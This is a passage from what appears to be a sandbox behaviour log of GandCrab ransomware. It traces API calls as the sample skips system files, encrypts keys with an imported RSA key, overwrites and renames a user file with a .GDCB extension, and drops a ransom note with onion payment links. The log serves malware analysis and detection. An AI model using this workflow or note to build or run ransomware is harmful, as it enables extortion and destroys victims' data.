(lpString1="UserCache.bin", lpString2="..") returned 1 [0169.742] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" [0169.742] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.743] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin") returned 83 [0169.743] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin") returned 83 [0169.743] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin") returned 83 [0169.743] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin") returned 83 [0169.743] lstrcmpiW (lpString1="UserCache.bin", lpString2="desktop.ini") returned 1 [0169.743] lstrcmpiW (lpString1="UserCache.bin", lpString2="autorun.inf") returned 1 [0169.743] lstrcmpiW (lpString1="UserCache.bin", lpString2="ntuser.dat") returned 1 [0169.743] lstrcmpiW (lpString1="UserCache.bin", lpString2="iconcache.db") returned 1 [0169.743] lstrcmpiW (lpString1="UserCache.bin", lpString2="bootsect.bak") returned 1 [0169.743] lstrcmpiW (lpString1="UserCache.bin", lpString2="boot.ini") returned 1 [0169.743] lstrcmpiW (lpString1="UserCache.bin", lpString2="ntuser.dat.log") returned 1 [0169.743] lstrcmpiW (lpString1="UserCache.bin", lpString2="thumbs.db") returned 1 [0169.743] lstrcmpiW (lpString1="UserCache.bin", lpString2="GDCB-DECRYPT.txt") returned 1 [0169.743] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin")) returned 0x20 [0169.743] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", dwFileAttributes=0x20) returned 1 [0169.744] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0169.744] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" [0169.744] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", lpString2=".GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0169.744] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4980) returned 1 [0169.744] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0169.744] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0169.745] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0169.745] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0169.745] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0169.745] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.745] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4e48) returned 1 [0169.745] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0169.745] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0169.745] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0169.745] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0169.745] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0169.745] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.746] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0169.746] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0169.746] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4430) returned 1 [0169.748] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x5a4f18) returned 1 [0169.749] CryptGetKeyParam (in: hKey=0x5a4f18, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0169.749] CryptEncrypt (in: hKey=0x5a4f18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0169.749] GetLastError () returned 0x0 [0169.749] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0169.749] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4980) returned 1 [0169.751] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x5a4b58) returned 1 [0169.751] CryptGetKeyParam (in: hKey=0x5a4b58, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0169.751] CryptEncrypt (in: hKey=0x5a4b58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0169.751] GetLastError () returned 0x0 [0169.751] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0169.751] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0169.752] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0169.752] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0169.752] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285eab0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285eab0*=0xf7b5, lpOverlapped=0x0) returned 1 [0169.781] VirtualAlloc (lpAddress=0x0, dwSize=0xf7c0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0169.782] VirtualAlloc (lpAddress=0x0, dwSize=0xf7c0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0169.783] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.784] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=-63413, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.784] WriteFile (in: hFile=0x4e8, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xf7c0, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285eaa8*=0xf7c0, lpOverlapped=0x0) returned 1 [0169.784] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.784] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.788] WriteFile (in: hFile=0x4e8, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0169.789] WriteFile (in: hFile=0x4e8, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0169.789] WriteFile (in: hFile=0x4e8, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285eaa8*=0x10, lpOverlapped=0x0) returned 1 [0169.789] CloseHandle (hObject=0x4e8) returned 1 [0169.790] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.791] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.792] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.792] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin.gdcb")) returned 1 [0169.794] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.794] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.794] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0169.794] FindClose (in: hFindFile=0x5a4e58 | out: hFindFile=0x5a4e58) returned 1 [0169.794] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.794] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.794] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.794] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0169.794] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.795] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 83 [0169.795] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 83 [0169.795] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 83 [0169.795] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 83 [0169.795] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.795] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.795] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.795] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.795] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.795] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.795] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.795] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.795] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.795] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.795] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0169.795] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.795] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0169.795] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0169.795] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0169.795] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef" [0169.795] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\" [0169.795] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.796] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.796] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.796] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.796] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.796] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.796] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\") returned 67 [0169.796] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\*" [0169.796] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5a4b98 [0169.796] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.796] FindNextFileW (in: hFindFile=0x5a4b98, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.796] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.796] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.796] FindNextFileW (in: hFindFile=0x5a4b98, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.796] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.796] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.796] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC" [0169.796] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC") returned 69 [0169.796] FindNextFileW (in: hFindFile=0x5a4b98, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0169.796] FindClose (in: hFindFile=0x5a4b98 | out: hFindFile=0x5a4b98) returned 1 [0169.797] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.797] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt") returned 84 [0169.797] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrocef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0169.797] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0169.797] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0169.798] CloseHandle (hObject=0x4e0) returned 1 [0169.798] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.799] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\") returned 67 [0169.799] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\*" [0169.799] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5a4c58 [0169.799] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.799] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.799] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.799] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.799] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.799] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.799] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.799] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC" [0169.799] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\" [0169.799] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.799] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.799] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.799] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.799] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.799] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.799] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\") returned 70 [0169.800] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\*" [0169.800] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5a4a18 [0169.800] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.800] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.800] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.800] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.800] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.800] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.800] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.800] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat" [0169.800] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat") returned 77 [0169.800] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0169.800] FindClose (in: hFindFile=0x5a4a18 | out: hFindFile=0x5a4a18) returned 1 [0169.800] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.800] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt") returned 87 [0169.801] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrocef\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0169.801] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0169.801] WriteFile (in: hFile=0x4e4, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0169.802] CloseHandle (hObject=0x4e4) returned 1 [0169.802] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.802] lstrlenW (lpString="C:\\Documents and 